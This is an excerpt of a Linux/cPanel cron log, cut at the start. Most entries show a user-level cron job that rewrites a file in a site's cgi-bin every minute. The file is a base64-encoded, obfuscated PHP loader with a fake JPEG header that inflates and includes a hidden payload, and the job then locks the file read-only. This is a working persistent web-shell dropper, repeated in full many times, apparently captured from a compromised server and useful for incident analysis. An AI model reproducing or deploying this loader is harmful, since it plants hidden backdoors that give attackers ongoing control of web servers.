dXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:25:01 server CROND[536]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:25:01 server CROND[537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:25:01 server CROND[538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:26:01 server CROND[689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:27:01 server CROND[740]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 13:27:01 server CROND[742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:28:01 server CROND[801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:29:01 server CROND[952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:30:01 server CROND[1011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:30:01 server CROND[1012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 13:30:01 server CROND[1013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:30:01 server CROND[1014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:31:01 server CROND[1133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:32:01 server CROND[1186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:33:01 server CROND[1248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:34:01 server CROND[1409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:35:01 server CROND[1469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:35:01 server CROND[1470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:35:01 server CROND[1471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:35:01 server CROND[1473]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 13:35:01 server CROND[1472]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 13:36:01 server CROND[1604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:37:01 server CROND[1680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
